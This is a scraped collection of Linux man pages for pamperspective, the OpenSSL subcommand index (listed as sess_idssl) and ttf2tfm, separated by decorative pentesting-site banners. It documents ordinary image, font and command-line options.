➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamperspective and provides detailed information about the command pamperspective, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamperspective.

.

NAME 🖥️ pamperspective 🖥️

a reverse scanline renderer for Netpbm images

SYNOPSIS

pamperspective 
    [--bottom_margin=num]
    [--detail=num]
    [--frame_include=bool]
    [--height=num]
    [--include=[x1,y1;x2,y2; ...]]
    [--input_system=spec]
    [--input_unit=spec]
    [--interpolation=spec]
    [--left_margin=num]
    [--margin=num]
    [--output_system=spec]
    [--proportion=spec]
    [--ratio=num]
    [--right_margin=num]
    [--top_margin=num]
    [--width=num]
    {
      {
        upper_left_x upper_left_y upper_right_x upper_right_y
        lower_left_x lower_left_y lower_right_x lower_right_y
      }
      |
      {
        {--upper_left_x|--ulx}=upper_left_x
        {--upper_left_y|--uly}=upper_left_y
        {--upper_right_x|--urx}=upper_right_x
        {--upper_right_y|--ury}=upper_right_y
        {--lower_left_x|--llx}=lower_left_x
        {--lower_left_y|--lly}=lower_left_y
        {--lower_right_x|--lrx}=lower_right_x
        {--lower_right_y|--lry}=lower_right_y
      }
   }
   [infile]

OPTION USAGE

Minimum unique abbreviation of option is acceptable. (But note that shortest unique prefixes might be longer in future versions of the program.) You may use single hyphens instead of double hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value. All options starting with hyphens may be given in any order.

DESCRIPTION

This program is part of Netpbm(1) .

pamperspective reads a Netpbm image as input and produces a Netpbm image of the same format as output.

pamperspective interprets the input image as a perspective projection of another image which is in a plane oblique to that of the input image. For example, a photograph of a painting, taken at an angle. The arguments upper_left_xlower_right_y specify a quadrilateral in the photograph that pamperspective assumes corresponds to a parallelogram in the painting. The output image consists of this parallelogram, sheared to a rectangle. In this way pamperspective undoes the effect of a raytracer or scanline renderer.

Note that if the input image is a projection of a solid scene, rather than a plane, the result is like a different camera angle on that scene, to the extent that the scene is shallow from the other angle.

The input is from infile, or from Standard Input, if infile is not specified. The output is to Standard Output.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamperspective recognizes the following command line options:

For options of the form **–name=**num, You can specify the value num in any of the traditional ways. Additionally, you can specify it as num1/num2, where num1 and num2 are specified traditionally. This is useful for specifying a width/height ratio of 4/3, without having to write infinitely many digits. Where num is supposed to be a natural number, pamperspective does not allow this format.

Quadrilateral Specification Options

**–upper_left_x=**num
**–ulx=**num
This specifies the horizontal coordinate of the upper left vertex of the quadrilateral. The meaning of ‘upper left’ is relative to the output image. The interpretation of num depends on the values for –input_system and –input_unit.

**–upper_left_y=**num
**–uly=**num
This specifies the vertical coordinate of the upper left vertex of the quadrilateral. The meaning of ‘upper left’ is relative to the output image. The interpretation of num depends on the values for –input_system and –input_unit.

**–upper_right_x=**num
**–urx=**num
This specifies the horizontal coordinate of the upper right vertex of the quadrilateral. The meaning of ‘upper right’ is relative to the output image. The interpretation of num depends on the values for –input_system and –input_unit.

**–upper_right_y=**num
**–ury=**num
This specifies the vertical coordinate of the upper right vertex of the quadrilateral. The meaning of ‘upper right’ is relative to the output image. The interpretation of num depends on the values for –input_system and –input_unit.

**–lower_left_x=**num
**–llx=**num
This specifies the horizontal coordinate of the lower left vertex of the quadrilateral. The meaning of ’lower left’ is relative to the output image. The interpretation of num depends on the values for –input_system and –input_unit.

**–lower_left_y=**num
**–lly=**num
This specifies the vertical coordinate of the lower left vertex of the quadrilateral. The meaning of ’lower left’ is relative to the output image. The interpretation of num depends on the values for –input_system and –input_unit.

**–lower_right_x=**num
**–lrx=**num
This specifies the horizontal coordinate of the lower right vertex of the quadrilateral. The meaning of ’lower right’ is relative to the output image. The interpretation of num depends on the values for –input_system and –input_unit.

**–lower_right_y=**num
**–lry=**num
This specifies the vertical coordinate of the lower right vertex of the quadrilateral. The meaning of ’lower right’ is relative to the output image. The interpretation of num depends on the values for –input_system and –input_unit.

**–input_system=**system
**–input_unit=**unit
The input image consists of pixels, which are, from the point of view of a scanline renderer, solid squares. These options specify how the coordinates are interpreted:

system=lattice, unit=image
(0,0) refers to the upper left corner of the upper left pixel and (1,1) refers to the lower right corner of the lower right pixel.

system=lattice, unit=pixel
(0,0) refers to the upper left corner of the upper left pixel and (width,height) refers to the lower right corner of the lower right pixel. Here width and height are the width and height of the input image.

system=pixel, unit=image
(0,0) refers to the center of the upper left pixel and (1,1) refers to the center of the lower right pixel.

system=pixel, unit=pixel
(0,0) refers to the center of the upper left pixel and (width-1,height-1) refers to the center of the lower right pixel. Here width and height are the width and height of the input image.

The defaults are –input_system=lattice and –input_unit=pixel. Point-and-click front ends should use –input_system=pixel.

Frame Options

By default pamperspective outputs exactly the above parallelogram, sheared to a rectangle. With the following options, it is possible to make pamperspective output a larger or smaller portion, which we call the “visible part.” We refer to the default rectangle as the “frame.” The visible part is always a rectangle the axes of which are parallel to those of the frame.

The frame options are additive. All the parts of the image specified by either margin options, –include_frame, or –include (or their defaults) are in the visible part. The visible part is the smallest possible rectangle that contains the parts specified those three ways.

The visible part must have nonzero size. That means if you specify –frame_include=no (overriding the default), you’ll need to specify other frame options in order to have something in the visible part.

[**–margin=**num]
This specifies an area surrounding the frame that is to be included in the visible part. The units of num are the width of the frame for the horizontal extensions and the height of the frame for vertical extensions.

For example, –margin=1 makes the visible part 9 times as large, because it makes the visible part extend one frame’s worth to the left of the frame, one frame’s worth to the right, one frame’s worth above the frame, and one frame’s worth below the frame, for a total of 3 frames’ worth in both dimensions.

A negative value has an effect only if you specify –frame_include=no. The default is no margin.

The individual margin options below override this common margin setting.

[**–top_margin=num]
[
–left_margin=num]
[
–right_margin=num]
[
–bottom_margin=**num]
These are like –margin, but they specify only one of the 4 sides. The default value for each is the value (or default) of –margin.

[**–frame_include=**bool]
Valid values for bool are:

yes
true
on
The frame itself is in the visible part.

no
false
off
The frame itself is not necessarily in the visible part (but it could be if other options cause it to be).

The default value is yes

**–include=[**x1,y1;x2,y2; …]
The visible part is made large enough such that every point (x1,y1), (x2,y2), of the input image is visible. The meaning of x and y is determined by –input_system and –input_unit. You can specify any number of semicolon-delimited points, including zero.

If you’re supplying these options via a Unix command shell, be sure to use proper quoting, because semicolon (;) is usually a shell control character.

The frame options were new in Netpbm 10.25 (October 2004).

Output Size Options

**–width=**width
**–height=**height
These specify the size of the output image in horizontal and vertical direction. The values are numbers of pixels, so only natural numbers are valid. These values override the default means to determine the output size.

**–detail=**num
If you do not specify –width, pamperspective determines the width of the output image such that moving num output pixels horizontally does not change the corresponding pixel coordinates of the input image by more than 1. pamperspective determines the height of the output image analogously. The default value is 1.

**–proportion=**prop
**–ratio=**ratio
Valid values for prop are:

free
In this case –ratio does not have any effect.

fixed
After the width and height are determined according to –detail, one of both will be increased, in order to obtain width/height=ratio.

The defaults are –proportion=free and –ratio=1.

Output Options

**–output_system=**spec
The output image consists of pixels, which are, from the point of view of a scanline renderer, solid squares. This option specifies how the four vertices of the quadrilateral correspond to the pixels of the output image. Valid values for spec are:

lattice
The upper left vertex corresponds to the upper left corner of the upper left pixel and The lower right vertex corresponds to the lower right corner of the lower right pixel.

pixel
The upper left vertex corresponds to the center of the upper left pixel and The lower right vertex corresponds to the center of the lower right pixel.

The default value is lattice. Point-and-click front ends should use pixel.

**–interpolation=**spec
Usually (centers of) output pixels do not exactly correspond to (centers of) input pixels. This option determines how the program will choose the new pixels. Valid values for spec are:

nearest
The output pixel will be identical to the nearest input pixel.

linear
The output pixel will be a bilinear interpolation of the four surrounding input pixels.

The default value is nearest.

HINTS

It might be tempting always to use the options –include 0,0;0,1;1,0;1,1 (assuming –input_system=lattice and –input_unit=image), so that no part of the input image is missing in the output. There are problems with that:

  • If the three dimensional plane defined by the quadrilateral has a visible horizon in the input image, then the above asks pamperspective to include points that cannot ever be part of the output.

  • If the horizon is not visible, but close to the border of the input image, this may result in very large output files. Consider a picture of a road. If you ask for a point close to the horizon to be included, then this point is far away from the viewer. The output will cover many kilometers of road, while –detail perhaps makes a pixel represent a square centimeter.

When working with large files pamperspective’s memory usage might be an issue. In order to keep it small, you should minimize each of the following:

  • The vertical range that the top output line consumes in the input image;

  • The vertical range that the bottom output line consumes in the input image;

  • The vertical range from the topmost (with respect to the input image) quadrilateral point to the top (with respect to the output image) output line.

For this purpose you can use pamflip before and/or after pamperspective. Example: Instead of

pamperspective 10 0 100 50 0 20 95 100 infile > outfile

you can use

pamflip -rotate90 infile | 
   pamperspective 50 0 100 5 0 90 20 100 | 
   pamflip -rotate270 > outfile

SEE ALSO

netpbm(1) , pam(1) , pnm(1) , pamcut(1) , pamflip(1) , pnmrotate(1) , pamscale(1) , pnmshear(1) , pamhomography(1) , pnmstitch(1)

HISTORY

Mark Weyer wrote pamperspective in March 2004.

It was new in Netpbm 10.22 (April 2004).

AUTHOR

This documentation was written by Mark Weyer. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamperspective.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1370 - Linux cli command sess_idssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sess_idssl and provides detailed information about the command sess_idssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sess_idssl.

NAME 🖥️ sess_idssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1371 - Linux cli command ttf2tfm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ttf2tfm and provides detailed information about the command ttf2tfm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ttf2tfm.

NAME 🖥️ ttf2tfm 🖥️

build TeX metric files from a TrueType font

SYNOPSIS

ttf2tfm

ttffile [.ttf|.ttc] [ -c* caps-height-factor* ] [ -e* extension-factor* ] [ -E* encoding-id * ] [ -f* font-index* ] [ -l ] [ -L ligature-file[.sfd] ] [ -n ] [ -N ] [ -O ] [ -p inencfile[.enc] ] [ -P* platform-id * ] [ -q ] [ -r* old-glyphname new-glyphname* ] [ -R replacement-file[.rpl] ] [ -s* slant-factor* ] [ -t outencfile[.enc] ] [ -T inoutencfile[.enc] ] [ -u ] [ -v vplfile[.vpl] ] [ -V scvplfile[.vpl] ] [ -w ] [ -x ] [ -y* vertical-shift-factor* ] [ tfmfile[.tfm] ]

ttf2tfm - -version | - -help

DESCRIPTION

This program extracts the metric and kerning information of a TrueType font and converts it into metric files usable by TeX (quite similar to afm2tfm which is part of the dvips package; please consult its info files for more details on the various parameters (especially encoding files).

Since a TrueType font often contains more than 256 glyphs, some means are necessary to map a subset of the TrueType glyphs onto a TeX font. To do this, two mapping tables are needed: the first (called `input’ or `raw’ encoding) maps the TrueType font to a raw TeX font (this mapping table is used by both ttf2tfm and ttf2pk), and the second (called `output’ or `virtual’ encoding) maps the raw TeX font to another (virtual) TeX font, providing all kerning and ligature information needed by TeX.

This two stage mapping has the advantage that one raw font can be accessed with various LaTeX encodings (e.g. T1 and OT1) via the virtual font mechanism, and just one PK file is necessary.

For CJKV (Chinese/Japanese/Korean/old Vietnamese) fonts, a different mechanism is provided (see SUBFONT DEFINITION FILES below).

PARAMETERS

Most of the command line switch names are the same as in afm2tfm for convenience. One or more space characters between an option and its value is mandatory; options can’t be concatenated. For historical reasons, the first parameter can not be a switch but must be the font name.

-c* caps-height-factor*
The height of small caps made with the -V switch. Default value of this real number is 0.8 times the height of uppercase glyphs.

Will be ignored in subfont mode.

-e* extension-factor*
The extension factor to stretch the characters horizontally. Default value of this real number is 1.0; if less than 1.0, you get a condensed font.

-E* encoding-id*
The TrueType encoding ID. Default value of this non-negative integer is 1.

Will be ignored if -N is used.

-f* font-index*
The font index in a TrueType Collection. Default is the first font (index 0). [TrueType collections are usually found in some CJK fonts; e.g. the first font index specifies glyphs and metrics for horizontal writing, and the second font index does the same for vertical writing. TrueType collections usually have the extension ` .ttc’.]

Will be ignored for ordinary TrueType fonts.

-l
Create ligatures in subfonts between first and second bytes of all the original character codes. Example: Character code 0xABCD maps to character position 123 in subfont 45. Then a ligature in subfont 45 between position 0xAB and 0xCD pointing to character 123 will be produced. The fonts of the Korean HLaTeX package use this feature. Note that this option generates correct ligatures only for TrueType fonts where the input cmap is identical to the output encoding. In case of HLaTeX, TTFs must have platform ID 3 and encoding ID 5.

Will be ignored if not in subfont mode.

-L* ligature-file*
Same as -l, but character codes for ligatures are specified in ligature-file. For example, ` -L KS-HLaTeX’ generates correct ligatures for the Korean HLaTeX package regardless of the platform and encoding ID of the used TrueType font (the file KS-HLaTeX.sfd is part of the ttf2pk package).

Ligature files have the same format and extension as SFD files. This option will be ignored if not in subfont mode.

-n
Use PS names (of glyphs) of the TrueType font. Only glyphs with a valid entry in the selected cmap are used.

Will be ignored in subfont mode.

-N
Use only PS names of the TrueType font. No cmap is used, thus the switches -E and -P have no effect, causing a warning message.

Will be ignored in subfont mode.

-O
Use octal values for all character codes in the VPL file rather than names; this is useful for symbol or CJK fonts where character names such as `A’ are meaningless.

-p* inencfile*
The input encoding file name for the TTF→raw TeX mapping. This parameter has to be specified in a map file (default: ttfonts.map) recorded in ttf2pk.cfg for successive ttf2pk calls.

Will be ignored in subfont mode.

-P* platform-id*
The TrueType platform ID. Default value of this non-negative integer is 3.

Will be ignored if -N is used.

-q
Make ttf2tfm quiet. It suppresses any informational output except warning and error messages. For CJK fonts, the output can get quite large if you don’t specify this switch.

-r* old-glyphname new-glyphname*
Replaces old-glyphname with new-glyphname. This switch is useful if you want to give an unnamed glyph (i.e., a glyph which can be represented with `.gXXX’ or `.cXXX’ only) a name or if you want to rename an already existing glyph name. You can’t use the `.gXXX’ or `.cXXX’ glyph name constructs for new-glyphname; multiple occurrences of -r are possible.

If in subfont mode or if no encoding file is specified, this switch is ignored.

-R* replacement-file*
Use this switch if you have many replacement pairs; they can be collected in a file which should have ` .rpl’ as extension. The syntax used in such replacement files is simple: Each non-empty line must contain a pair ` old-glyphname new-glyphname’ separated by whitespace (without the quotation marks). A percent sign starts a line comment; you can continue a line on the next line with a backslash as the last character.

If in subfont mode or if no encoding file is specified, this switch is ignored.

-s* slant-factor*
The obliqueness factor to slant the font, usually much smaller than 1. Default of this real number is 0.0; if the value is larger than zero, the characters slope to the right, otherwise to the left.

-t* outencfile*
The output encoding file name for the virtual font(s). Only characters in the raw TeX font are used.

Will be ignored in subfont mode.

-T* inoutencfile*
This is equivalent to `-p inoutencfile -t inoutencfile'.

Will be ignored in subfont mode.

-u
Use only those characters specified in the output encoding, and no others. By default, ttf2tfm tries to include all characters in the virtual font, even those not present in the encoding for the virtual font (it puts them into otherwise-unused positions, rather arbitrarily).

Will be ignored in subfont mode.

-v* vplfile*
Output a VPL file in addition to the TFM file. If no output encoding file is specified, ttf2tfm uses a default font encoding (cmtt10). Note: Be careful to use different names for the virtual font and the raw font!

Will be ignored in subfont mode.

-V* scvplfile*
Same as -v, but the virtual font generated is a pseudo small caps font obtained by scaling uppercase letters by 0.8 (resp. the value specified with -c) to typeset lowercase. This font handles accented letters and retains proper kerning.

Will be ignored in subfont mode.

-w
Generate PostScript encoding vectors containing glyph indices, primarily used to embed TrueType fonts in pdfTeX. ttf2tfm takes the TFM names and replaces the suffix with .enc; that is, for files foo01.tfm, foo02.tfm, . . . it creates foo01.enc, foo02.enc, . . .  at the same place.

Will be ignored if not in subfont mode.

-x
Rotate all glyphs by 90 degrees counter-clockwise. If no -y parameter is given, the rotated glyphs are shifted down vertically by 0.25em.

Will be ignored if not in subfont mode.

-y* vertical-shift-factor*
Shift down rotated glyphs by the given amount (the unit is em).

Ignored if not in subfont mode or glyphs are not rotated.

- -version
Shows the current version of ttf2tfm and the used file search library (e.g. kpathsea).

- -help
Shows usage information.

If no TFM file name is given, the name of the TTF file is used, including the full path and replacing the extension with ` .tfm'.

CMAPS

Contrary to Type 1 PostScript fonts (but similar to the new CID PostScript font format), most TrueType fonts have more than one native mapping table, also called `cmap’, which maps the (internal) TTF glyph indices to the (external) TTF character codes. Common examples are a mapping table to Unicode encoded character positions, and the standard Macintosh mapping.

To specify a TrueType mapping table, use the options -P and -E. With -P you specify the platform ID; defined values are:

platformplatform ID (pid)
Apple Unicode0
Macintosh1
ISO2
Microsoft3

The encoding ID depends on the platform. For pid=0, we ignore the -E parameter (setting it to zero) since the mapping table is always Unicode version 2.0. For pid=1, the following table lists the defined values:

platform ID = 1

scriptencoding ID (eid)
Roman0
Japanese1
Chinese2
Korean3
Arabic4
Hebrew5
Greek6
Russian7
Roman Symbol8
Devanagari9
Gurmukhi10
Gujarati11
Oriya12
Bengali13
Tamil14
Telugu15
Kannada16
Malayalam17
Sinhalese18
Burmese19
Khmer20
Thai21
Laotian22
Georgian23
Armenian24
Maldivian25
Tibetan26
Mongolian27
Geez28
Slavic29
Vietnamese30
Sindhi31
Uninterpreted32

Here are the ISO encoding IDs:

platform ID = 2

encodingencoding ID (eid)
ASCII0
ISO 106461
ISO 8859-12

And finally, the Microsoft encoding IDs:

platform ID = 3

encodingencoding ID (eid)
Symbol0
Unicode 2.01
Shift JIS2
GB 2312 (1980)3
Big 54
KS X 1001 (Wansung)5
KS X 1001 (Johab)6
UCS-410

The program will abort if you specify an invalid platform/encoding ID pair. It will then show the possible pid/eid pairs. Please note that most fonts have at most two or three cmaps, usually corresponding to the pid/eid pairs (1,0), (3,0), or (3,1) in case of Latin based fonts. Valid Microsoft fonts should have a (3,1) mapping table, but some fonts exist (mostly Asian fonts) which have a (3,1) cmap not encoded in Unicode. The reason for this strange behavior is the fact that some old MS Windows versions will reject fonts having a non-(3,1) cmap (since all non-Unicode Microsoft encoding IDs are for Asian MS Windows versions).

The -P and -E options of ttf2tfm must be equally specified for ttf2pk; the corresponding parameters in a map file are `Pid’ and `Eid’, respectively.

The default pid/eid pair is (3,1).

Similarly, an -f option must be specified as `Fontindex’ parameter in a map file.

If you use the -N switch, all cmaps are ignored, using only the PostScript names in the TrueType font. The corresponding option in a map file is `PS=Only’. If you use the -n switch, the default glyph names built into ttf2tfm are replaced with the PS glyph names found in the font. In many cases this is not what you want because the glyph names in the font are often incorrect or non-standard. The corresponding option in a map file is `PS=Yes'.

Single replacement glyph names specified with -r must be given directly as ` old-glyphname new-glyphname’ in a map file; -R is equivalent to the `Replacement’ option.

INPUT AND OUTPUT ENCODINGS

You must specify the encoding vectors from the TrueType font to the raw TeX font and from the raw TeX font to the virtual TeX font exactly as with afm2tfm, but you have more possibilities to address the character codes. [With `encoding vector’ a mapping table with 256 entries in form of a PostScript vector is meant; see the file T1-WGL4.enc of this package for an example.] With afm2tfm, you must access each glyph with its Adobe glyph name, e.g. `/quotedsingle’ or `/Acircumflex’. This has been extended with ttf2tfm; now you can (and sometimes must) access the code points and/or glyphs directly, using the following syntax for specifying the character position in decimal, octal, or hexadecimal notation: `/.c <decimal-number>’, `/.c0 <octal-number>’, or `/.c0x <hexadecimal-number>’. Examples: `/.c72’, `/.c0646’, `/.c0x48’. To access a glyph index directly, use the character `g’ instead of `c’ in the just introduced notation. Example: `/.g0x32’. [Note: The `.cXXX’ notation makes no sense if -N is used.]

For pid/eid pairs (1,0) and (3,1), both ttf2tfm and ttf2pk recognize built-in default Adobe glyph names; the former follows the names given in Appendix E of the book `Inside Macintosh’, volume 6, the latter uses the names given in the TrueType Specification (WGL4, a Unicode subset). Note that Adobe names for a given glyph are often not unique and do sometimes differ, e.g., many PS fonts have the glyph `mu’, whereas this glyph is called `mu1’ in the WGL4 character set to distinguish it from the real Greek letter mu. Be also aware that OpenType (i.e. TrueType 2.0) fonts use an updated WGL4 table; we use the data from the latest published TrueType specification (1.66). You can find those mapping tables in the source code file ttfenc.c.

On the other hand, the switches -n and -N makes ttf2tfm read in and use the PostScript names in the TrueType font itself (stored in the `post’ table) instead of the default Adobe glyph names.

Use the -r switch to remap single glyph names and -R to specify a file containing replacement glyph name pairs.

If you don’t select an input encoding, the first 256 glyphs of the TrueType font with a valid entry in the selected cmap will be mapped to the TeX raw font (without the -q option, ttf2tfm prints this mapping table to standard output), followed by all glyphs not yet addressed in the selected cmap. However, some code points for the (1,0) pid/eid pair are omitted since they do not represent glyphs useful for TeX: 0x00 (null), 0x08 (backspace), 0x09 (horizontal tabulation), 0x0d (carriage return), and 0x1d (group separator). The `invalid character’ with glyph index 0 will be omitted too.

If you select the -N switch, the first 256 glyphs of the TrueType font with a valid PostScript name will be used in case no input encoding is specified. Again, some glyphs are omitted: `.notdef’, `.null’, and `nonmarkingreturn'.

If you don’t select an output encoding, ttf2tfm uses the same mapping table as afm2tfm would use (you can find it in the source code file texenc.c); it corresponds to TeX typewriter text. Unused positions (either caused by empty code points in the mapping table or missing glyphs in the TrueType font) will be filled (rather arbitrarily) with characters present in the input encoding but not specified in the output encoding (without the -q option ttf2tfm prints the final output encoding to standard output). Use the -u option if you want only glyphs in the virtual font which are defined in the output encoding file, and nothing more.

One feature missing in afm2tfm has been added which is needed by LaTeX’s T1 encoding: ttf2tfm will construct the glyph `Germandbls’ (by simply concatenating two `S’ glyphs) even for normal fonts if possible. It appears in the glyph list as the last item, marked with an asterisk. Since this isn’t a real glyph it will be available only in the virtual font.

For both input and output encoding, an empty code position is represented by the glyph name `/.notdef'.

In encoding files, you can use `\ as the final character of a line to indicate that the input is continued on the next line. The backslash and the following newline character will be removed.

SUBFONT DEFINITION FILES

CJKV (Chinese/Japanese/Korean/old Vietnamese) fonts usually contain several thousand glyphs; to use them with TeX it is necessary to split such large fonts into subfonts. Subfont definition files (usually having the extension ` .sfd’) are a simple means to do this smoothly.

A subfont file name usually consists of a prefix, a subfont infix, and a postfix (which is empty in most cases), e.g.

ntukai23 → prefix: ntukai, infix: 23, postfix: (empty)

Here the syntax of a line in an SFD file, describing one subfont:

<whitespace> <infix> <whitespace> <ranges> <whitespace>
<infix> :=
anything except whitespace. It is best to use only alphanumerical characters.

<whitespace> :=
space, formfeed, carriage return, horizontal and vertical tabs – no newline characters.

<ranges> :=
<ranges> <whitespace> <codepoint> |
<ranges> <whitespace> <range> |
<ranges> <whitespace> <offset> <whitespace> <range>

<codepoint> :=
<number>

<range> :=
<number> `_’* <number>*

<offset> :=
<number> `:'

<number> :=
hexadecimal (prefix `0x’), decimal, or octal (prefix `0')

A line can be continued on the next line with a backslash ending the line. The ranges must not overlap; offsets have to be in the range 0-255.

Example:

The line

03 10: 0x2349 0x2345_0x2347

assigns to the code positions 10, 11, 12, and 13 of the subfont having the infix `03’ the character codes 0x2349, 0x2345, 0x2346, and 0x2347 respectively.

The SFD files in the distribution are customized for the CJK package for LaTeX.

You have to embed the SFD file name into the TFM font name (at the place where the infix will appear) surrounded by two `@’ signs, on the command line resp. a map file; both ttf2tfm and ttf2pk switch then to subfont mode.

It is possible to use more than a single SFD file by separating them with commata and no whitespace; for a given subfont, the first file is scanned for an entry, then the next file, and so on. Later entries override entries found earlier (possibly only partially). For example, the first SFD file sets up range 0x10-0xA0, and the next one modifies entries 0x12 and 0x25. As can be easily seen, this algorithm allows for adding and replacing, but not for removing entries.

Subfont mode disables the options -n, -N, -p, -r, -R, -t, -T, -u, -v, -V and -w for ttf2tfm; similarly, no `Encoding’ or `Replacement’ parameter is allowed in a map file. Single replacement glyph names are ignored too.

ttf2tfm will create all subfont TFM files specified in the SFD files (provided the subfont contains glyphs) in one run.

Example:

The call

ttf2tfm ntukai.ttf ntukai@Big5,Big5-supp@

will use Big5.sfd and Big5-supp.sfd, producing all subfont files ntukai01.tfm, ntukai02.tfm, etc.

RETURN VALUE

ttf2tfm returns 0 on success and 1 on error; warning and error messages are written to standard error.

SOME NOTES ON FILE SEARCHING

Both ttf2pk and ttf2tfm use either the kpathsea, emtexdir, or MiKTeX library for searching files (emtexdir will work only on operating systems which have an MS-DOSish background, i.e. MS-DOS, OS/2, Windows; MikTeX is specific to MS Windows).

As a last resort, both programs can be compiled without a search library; the searched files must be then in the current directory or specified with a path. Default extensions will be appended also (with the exception that only ` .ttf’ is appended and not ` .ttc’).

kpathsea

The actual version of kpathsea is displayed on screen if you call either ttf2pk or ttf2tfm with the - -version command line switch.

Here is a table of the file type and the corresponding kpathsea variables. TTF2PKINPUTS and TTF2TFMINPUTS are program specific environment variables introduced in kpathsea version 3.2:

.ttf and .ttcTTFONTS
ttf2pk.cfgTTF2PKINPUTS
.mapTTF2PKINPUTS
.encTTF2PKINPUTS, TTF2TFMINPUTS
.rplTTF2PKINPUTS, TTF2TFMINPUTS
.tfmTFMFONTS
.sfdTTF2PKINPUTS, TTF2TFMINPUTS

Please consult the info files of kpathsea for details on these variables.

You should set the TEXMFCNF variable to the directory where your texmf.cnf configuration file resides.

Here is the proper command to find out to which value a kpathsea variable is set (we use TTFONTS as an example). This is especially useful if a variable isn’t set in texmf.cnf or in the environment, thus pointing to the default value which is hard-coded into the kpathsea library.

kpsewhich -progname=ttf2tfm -expand-var=’$TTFONTS'

We select the program name also since it is possible to specify variables which are searched only for a certain program – in our example it would be TTFONTS.ttf2tfm.

A similar but not identical method is to say

kpsewhich -progname=ttf2tfm -show-path=‘truetype fonts’

[A full list of format types can be obtained by saying ` kpsewhich –help’ on the command line prompt.] This is exactly how ttf2tfm (and ttf2pk) searches for files; the disadvantage is that all variables are expanded which can cause very long strings.

emtexdir

Here the list of suffixes and their related environment variables to be set in autoexec.bat (resp. in config.sys for OS/2):

.ttf and .ttcTTFONTS
ttf2pk.cfgTTFCFG
.mapTTFCFG
.encTTFCFG
.rplTTFCFG
.tfmTEXTFM
.sfdTTFCFG

